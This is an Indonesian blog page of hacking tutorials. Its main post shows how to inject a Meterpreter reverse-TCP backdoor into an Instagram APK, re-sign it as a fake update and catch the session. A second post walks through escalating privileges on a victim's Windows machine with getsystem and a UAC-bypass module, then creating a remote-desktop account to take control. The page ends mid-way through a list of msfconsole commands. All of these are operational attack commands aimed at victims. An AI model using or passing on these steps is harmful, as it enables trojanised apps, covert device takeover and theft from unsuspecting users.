Cara Menyisipkan Backdoor kedalam File Apk

<div style="text-align: justify;"> Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah banyak module exploit yang digunakan untuk membuat backdoor dengan format file tertentu(.pdf, .doc, .rar). lalu bagaimana jika target exploit kita android, dan bagaimana untuk menyamarkan backdoor tersebut ? oke di bawah ini akan saya berikan contoh cara menyisipkan backdoor kedalam file apk.<br /> <br /> Bagi yang mau mencoba bisa download bahannya <a href="https://www.mediafire.com/file/newdp41qbosnh1p/apk-embed.zip/file" rel="nofollow" target="_blank">disini</a><br /> Extract file tersebut lalu masukkan file apk yang akan di sisipi backdoor ke dalam folder apk-embed jadi satu dengan <b>apk-embed-payload.rb</b>. sebagai contoh disini saya akan menyisipkan backdoor kedalam file apk instagram</div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s1600/ls.png" style="margin-left: 1em; margin-right: 1em;"><img alt="" border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_c33veYkQ53NQ3hM-OOcyQ8QXbpwpSgh1S8h98br4T8EHNDYLO5KGiKxurXY_GFbcGPZEalbvX10tEt-sekcLQ0ChqGboA3bcjxymwl5c6tb-M5d8mFiMm0UZ_SLZp-BYgOm3yHadgU0/s320/ls.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> <br /> Nah untuk memasukkan payload ke dalam file apk tersebut perintahnya seperti ini<br /> <blockquote class="tr_bq"> ruby apk-embed-payload.rb [target.apk] [msfvenom options]</blockquote> Contoh<br /> <blockquote class="tr_bq"> ruby apk-embed-payload.rb Instagram.apk -p android/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1337</blockquote> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s1600/embed-prosses.png" style="margin-left: 1em; margin-right: 1em;"><img alt="ruby apk-embed-payload.rb [target.apk] [msfvenom options]" border="0" height="157" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCz95rgAjAB8_vu0xOChhlXuYVAw-_jzx1OHvy0gQTyo7f4J_hD3JmqlDVZ97YZ1yTGprdnx4mTZouob4sjhZV_GKvZ5mDx5nGbUmKeAJjxO1WBuDaS0j8-jr7W5avuKMVFhXZqWzYhbI/s320/embed-prosses.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> <br /> Tunggu hingga prossesnya selesai, jika berhasil nantinya akan ada file baru yang telah disisipi backdoor dengan nama namafile_backdoored.apk<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s1600/infectec-file.png" style="margin-left: 1em; margin-right: 1em;"><img alt="namafile_backdoored.apk" border="0" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio3h7iYKMGhyphenhyphenvjkN-nEWl3ROF6VEmjfW08mIB7V_pl896jCMwPh2sEwGFHKQ2LinjqyfIaP0FdQeKOUV1eNHr7IbSA-0lnxBAm-cnIgKzzpYuU0c4W-cgHEzLA-ujcf021YFe75BB698U/s320/infectec-file.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> <br /> Selanjutnya adalah melakukan SignApk, tujuannya agar file apk yang telah di sisipi backdoor tersebut bisa di install di semua device android.<br /> Caranya, masukkan file apk hasil backdooring kedalam folder SignApk. lalu lakukan sign dengan perintah dibawah ini <br /> <blockquote class="tr_bq"> java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]</blockquote> Contoh<br /> <blockquote> java -jar signapk.jar testkey.x509.pem testkey.pk8 Instagram_backdoored.apk Instagram_Update.apk</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s1600/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" style="margin-left: 1em; margin-right: 1em;"><img alt="java -jar signapk.jar testkey.x509.pem testkey.pk8 [file_asli.apk] [file_asli_hasilsign.apk]" border="0" height="159" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigpeKZSmm_fd7vtzO7a0epImIZU7-wqXsweIsRGlW1rXymVG_rsL80n6_MBZ8AfTUAkaUwFLkBVJHpK_5CBPubuA_RvKlAusKdBJWv47b3R1pSGoxR96KWySihYdHMJPaOO4tUzPlTXGA/s320/java--jar-signapk.jar-testkey.x509.pem-testkey.pk8-%255Bfile_asli.apk%255D-%255Bfile_asli_hasilsign.apk%255D.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> Nah diatas file hasil sign saya beri nama Instagram_Update.apk dan file siap di kirim ke target. namun sebelumnya buka msfconsole, set seperti di bawah ini<br /> <blockquote class="tr_bq"> msfconsole</blockquote> <blockquote class="tr_bq"> use exploit/multi/handler<br /> set payload android/meterpreter/reverse_tcp<br /> set lhost 192.168.1.100 <br /> set lport 1337<br /> exploit</blockquote> <i>lhost dan lport sesuaikan dengan yang kalian gunakan.</i> <br /> <br /> Berikut ini adalah tampilan android target ketika menginstall file apk yang di sisipi backdoor tadi. <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s1600/Install-Backdoor.png" style="margin-left: 1em; margin-right: 1em;"><img alt="install backdoor" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmC8z9sDk5EyAZHYS9b5z4y7B1HE2SI8YfK1BjBy_odhWG0oq2zFzrKPPDBSYNLnM9iYuHMj6SR1uymsCtgCDXCKdY7CE9PLAw5hJWpfjHc1Y4hWYntsRKcD1kD6c2iLJKcuvUGXhhPcA/s320/Install-Backdoor.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="212" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s1600/app-installed.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor installed" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3j2lhte0cKOJ3C6ZAhD8BUbJQ4Brh8NnmmyPSMAc1Zyu_4YDDe24L3teWXKB1-68o6wmbMY4H9MEHLuSuciKC7gYfPuuEEllJ8nsalY1hoBi0RGGjQkL4gZvyroi6LhtYvviA2bNvLmM/s320/app-installed.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="209" /></a></div> Tidak beda dengan aslinya kan<br /> <br /> Namun begitu target mebuka aplikasi tersebut kita juga mendapatkan sesi meterpreternya<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s1600/backdoor-opened.png" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor opened" border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7CGw0w2HPQ-iVC5r-728iZCSHFw0NlexLjHyMl5tKSteMJooo_yOz5B70zcVgVBKKSQFMWOqlaq2_FYr3QpL8FYuQYR0coqss39YZLRyDHyRvcYLihkTLs_HxpvmJuBR7-Gz0qJwLP5o/s320/backdoor-opened.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="200" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s1600/meterpreter-open.png" style="margin-left: 1em; margin-right: 1em;"><img alt="meterpreter sessions opened" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAnfYW3o5HHVL7EripJcTNsMDUjRLTgVHrCmOmmPqf0l0AfvJpd87YPYf3P2KI6nEcq45e15mkL7raAx9ZRdqcj_UvthyphenhyphenaZJBOsARQ44590si03pE6fNkZklgy0u91oyEosp1_S2vZaw0/s320/meterpreter-open.png" title="Cara Menyisipkan Backdoor kedalam File APK" width="320" /></a></div> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> Bagi yang masih penasaran kalian bisa lihat video di bawah ini<br /> <div class="separator" style="clear: both; text-align: center;"> </div> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/iZkZqA8qePQ/0.jpg" frameborder="0" height="320" src="https://www.youtube.com/embed/iZkZqA8qePQ?feature=player_embedded" width="480"></iframe></div> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> <br /> Tutorial ini hanya ntuk pengetahuan semata, jika ada penyalahgunaan dari tutorial ini bukan tanggung jawab dari saya.<br /> Saya harap dengan dibuatnya postingan ini dapat membuat kita agar lebih berhati-hati apabila mendownload aplikasi dari sumber yang tidak terpercaya. Selalu download aplikasi dari website resmi atau dari google play. <br /> Oke, mungkin cukup itu yang bisa saya sampaikan mengenai <b>Cara Menyisipkan Backdoor kedalam File Apk</b>, semoga bermanfaat.<br /> source <a href="https://gist.github.com/SkullTech/a62d106b55562cc1ab88" rel="nofollow" target="_blank">https://gist.github.com/SkullTech</a> </div>

Cara Menyisipkan Backdoor kedalam File Apk

Kalau untuk mengelabui target user windows dengan membuat backdoor dengan format file tertentu mungkin sudah biasa ya, karena memang sudah ...

Baca selengkapnya »

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

<div style="text-align: justify;"> <div style="text-align: justify;"> Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. '<b>getgui</b>' merupakan sebuah script meterpreter yang memungkinkan untuk mengaktifkan Remote Desktop dan membuat account pengguna untuk login ke dalamnya (<a href="https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/" rel="nofollow" target="_blank">offensive-security</a>)</div> <div style="text-align: justify;"> <br /></div> Oke, mari kita mulai.<br /> <div style="text-align: justify;"> Saya asumsikan disini kalain sudah mendapatkan sesi meterpreter dari sistem target, untuk cara mendapatkannnya kalian bisa lihat di tutorial sebelumnya mengenai <a href="http://anher323.blogspot.co.id/search/label/Metasploit" target="_blank">Metasploit</a></div> <br /></div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s1600/sysinfo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQEY2G60J7xEwdrDJG1012oJF8oBWvq62XL6N1YgiNEvoMhGgrydUHUFkim4WeoEYDmqyBcczD9A-3XtL3qoQoTzMNcpE3qoyEhmCTCPzBeCV2bTtgpUKOebcN87ZrQ2TVyd4tMPvbgh4/s320/sysinfo.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <div style="text-align: justify;"> <br /></div> Oke untuk mengaktifkan Remote Desktop Connection dari target, kita gunakan getgui untuk membuat account, perintahnya:<br /> <blockquote class="tr_bq"> run getgui <span style="text-align: justify;">-u <username> -p <password></span></blockquote> </div> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s1600/run+getgui+-u+anher+-p+Test123+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUfZk5gqwZkoD4wipRzPjrjVgff6TgT1Xt22BzIRqFg3daEufDyG0SqZ9gs0SpGz1-IrywCywBMCoeuuyqhHA6NH13NPzMnG9uh6_JJpyrq5xSbvZH37QcEbU-0BcMVaYdVZTYsVs2JWM/s320/run+getgui+-u+anher+-p+Test123+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Jika muncul pesan <b><i>Insufficient privileges</i></b>, itu menunjukkan bahwa kita tidak diperbolehkan untuk menjalankan perintah tersebut. jadi kita harus mendapatkan hak istimewa (Administrator) dalam sistem tersebut atau sebagai <b>root</b> jika di Linux.</div> <div style="text-align: justify;"> nah untuk mendapatkan hak tersebut gunakan perintah berikut ini</div> <blockquote class="tr_bq"> getsystem</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s1600/getsystem+fail.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem failed" border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYDq7WDLWGGPMZcVR2xY402eO1V_wCGrnCd0NxIn6Uwk-Ix4pcGj97aBAOt-sUcpH-9823XWD2V9rY-GYDhzfoDU7HJwT7U3RiyHazE02SSvb4ahAH5EW2v0F559279aqt1b5fFHg-8kU/s320/getsystem+fail.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Apabila muncul pesan seperti berikut<br /> <blockquote class="tr_bq"> [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:<br /> [-] Named Pipe Impersonation (In Memory/Admin)<br /> [-] Named Pipe Impersonation (Dropper/Admin)<br /> [-] Token Duplication (In Memory/Admin)</blockquote> <div style="text-align: justify;"> Itu biasanya karena UAC (User Account Control System) target sedang aktif. namun jangan khawatir metasploit memiliki module exploit untuk melakukan bypass UAC.</div> <div class="separator" style="clear: both;"> Sebelum menggunakan module exploit tersebut kita berjalan sebagai background terlebih dahulu dari meterpreter yang sedang aktif</div> <blockquote class="tr_bq"> background</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s1600/background.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="background" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5xnr00Nb6JNzxiWyq9YeAUwSUKbPEvHBM0UfHio5XrOW_WQBx9vCkAVb40FZURecGmmikS71vjDPZmP8L0UtrvEdoSaxwbb0s48238dI_THSLyNGSuPNQY4KYfk9PCfiarJH8Ep6iTvs/s320/background.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Lalu gunakan module exploit <i>exploit/windows/local/bypassuac</i><br /> <blockquote class="tr_bq"> use exploit/windows/local/bypassuac<br /> show options (opsional)<br /> set session 1 (sessions yang sebelumnya di dapatkan)</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s1600/use+exploit+bypassuac.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use exploit/windows/local/bypassuac" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvP-MKDLkT8NBFVKwOXnjhxTVcGBMeNFj_p8Tug6mIFisDdMNXbO4GwKNZqyu0CbwBCk2GxGmPhoArB2KVpYXy_yddJlP5pVA7ZJa7mBpYj72X2Hk5PNtz8b6gE1fFS900NIu_yK4WTZ8/s320/use+exploit+bypassuac.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Lalu jalankan exploit kembali<br /> <blockquote class="tr_bq"> exploit</blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNu1PPx4rKYBMYC_l6hQk5LTffSDxshatDQBelsPPlW7qSf3BJRnP9_zLuJIznSkmuEYKaZCttipfZycsB5Y9RnMK2qZ_bh32BqPbKXtj5oNd3qRMjNqRsuL2IzgKIh8Lzn4CdcfRGns4/s320/exploit.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Nah jika berhasil, sekarang kita telah mendapatkan hak Administrator atau sebagai root dalam sistem target<br /> <div style="text-align: justify;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s1600/getsystem.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="getsystem succes" border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH0bq99s422gnR8tbjEbvuBJJFLHbaRnR-BWrqM2yGdmz5q2HHBAsugVx4myBooBD9xs4QGhDcG7cg0AjdGA1GRn-KXarNS_jDnqdHWZSgVB4IDki_uL15aog2LzbfFl0uVnsgtwVD8Ic/s320/getsystem.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /></div> Coba jalankan getgui kembali untuk membuat account Remote Desktop Cennection<br /> <blockquote class="tr_bq"> run getgui -u <username> -p <password></blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s1600/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run getgui -u <username> -p <password>" border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwik8cUZuqjc9eUjY1zUNwyxlQhoRa4VIbkm8JD5p8kTojRLXqNGFnxNVz-3EO57ZERiWicydka-A-HITc1NuKFmkFAz9bwQCDagniwcAlkX5Vg-PcXiEN1IVXw_HWrN2gP01ae6m5nHk/s320/run+getgui+-u++%253Cusername%253E+-p+%253Cpassword%253E.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Screenshot di atas menunjukkan Account RDP telah berhasil di buat, lalu kita coba login dengan rdesktop, gunakan perintah berikut.</div> <blockquote class="tr_bq"> rdesktop -u <username> -p <password> IP <ip-addres-target></blockquote> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s1600/rdesktop+-u+username+-p+password+IP+Target.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="rdesktop -u <username> -p <password> IP <ip-addres-target>" border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4RDHtfHyqU3T5c7ujzbB5A7_skNeQt1UcW-OJeGmeOfXMXZe1XrmtSKOQBIKFNEwgWShmZeuSNol5ILMzKDc_kbuLp1sdqoA0s9yWksaoCvRfRhjBnDmeAeq77ggRY179G4r2shqId-s/s320/rdesktop+-u+username+-p+password+IP+Target.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> Tunggu beberapa saat<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s1600/Preparing+your+Desktop.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Preparing your desktop" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi80zYYY9GTsUgkBhr5S2uJYWbkrEN_7ztkELI2UByklpNDjov7sZN1_DpS4zfMQVnAkn7sbl1yNBib-TuV2zxfXMKgqiUJmRtWqMsURR3WoxBF87W3SxbJqi1LQLyRVc-LnRbMEpJx9-4/s320/Preparing+your+Desktop.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Nah setelah berhasil login sekarng kita dapt mengoperasikan komputer target dengan mouse dan keyboard kita sendiri.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s1600/Success+Login.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Login Success" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUQEb081cB4XBvzF5HlcfX3xJZ1X0yFr1qTT2rYoOH0sge5F6jrOuhj10o_Azb7ws_9bDhqj49LcOImwyQTFN_RPuPbPBNEFVRA9wjSe_ixwdIIYCZ4g51SzZYpWRhvS8PnKFMFuFhbJU/s320/Success+Login.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> System properties target<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s1600/system+Properties.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="System Properties" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWoiWHRdMgE17dxSV5X0B4eXysW5_pn6zYLsVfe4neVsriPheFn6a6mdhh5VCGMejRqNNgVzRBe1lvijZdbaAibjYKEXirkl83Y2d9y_gTP6vrwOlW9p9aeJOaiLdV_-Z8DoI0PmhiKUg/s320/system+Properties.png" title="Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter" width="320" /></a></div> <br /> <div style="text-align: justify;"> Nah jika kalian masih bingung, kalian dapat melihat video di bawah ini</div> <br /> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/wwS2XPZlYME/0.jpg" frameborder="0" height="320" src="https://www.youtube.com/embed/wwS2XPZlYME?feature=player_embedded" width="480"></iframe></div> <br /> <div style="text-align: justify;"> Sekian tutorial mengenai <b>Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter</b>, semoga bermanfaat.</div> </div>

Cara Mengaktifkan Remote Desktop Victim Setelah Masuk Meterpreter

Pada postingan kali ini saya akan memberikan tutorial mengenai cara mendapatkan akses remote desktop victim. ' getgui ' merupakan ...

Baca selengkapnya »

Perintah - Perintah dasar Metasploit (msfconsole)

<div style="text-align: justify;"> Setelah sebelumnya saya share tentang <a href="http://anher323.blogspot.co.id/2016/02/perintah-perintah-dasar-meterpreter.html" target="_blank">Perintah - Perintah dasar Meterpreter</a> sekarang saya akan bagikan Perintah - Perintah dasar Metasploit (msfconsole). kebalik ya hehe, harusnya msfconsole dulu baru meterpreter, tapi gpp deh yang penting tetep sharing :D.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Oke, di bawah ini merupakan beberapa perintah dari msfconsole yang dapat digunakan<br /> <br /> <span style="font-size: large;"><b>msfconsole</b></span><br /> Perintah untuk memulai menjalankan msfconsole<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPRZM5Pb6h5FCrvi_hBX-9Txq7qQG7NrXS1q-68DioaijbBAgQgnABkwoUmka4qTqgPRj_qdeiOh8AMAN8v3i4oVA1tZuu6p4VmRjkeJSvvNpog_AxGhERW6RHOtjyhMzjdH0FFPTg8R8/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="287" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPRZM5Pb6h5FCrvi_hBX-9Txq7qQG7NrXS1q-68DioaijbBAgQgnABkwoUmka4qTqgPRj_qdeiOh8AMAN8v3i4oVA1tZuu6p4VmRjkeJSvvNpog_AxGhERW6RHOtjyhMzjdH0FFPTg8R8/s400/msfconsole.png" title="Perintah - Perintah dasar Metasploit (msfconsole)" width="400" /></a></div> <b><span style="font-size: large;">banner</span></b></div> <div style="text-align: justify;"> Perintah ini digunakan untuk memilih secara acak logo metasploit yang akan di tampilkan<br /> <div style="text-align: justify;"> <pre style="background: black; 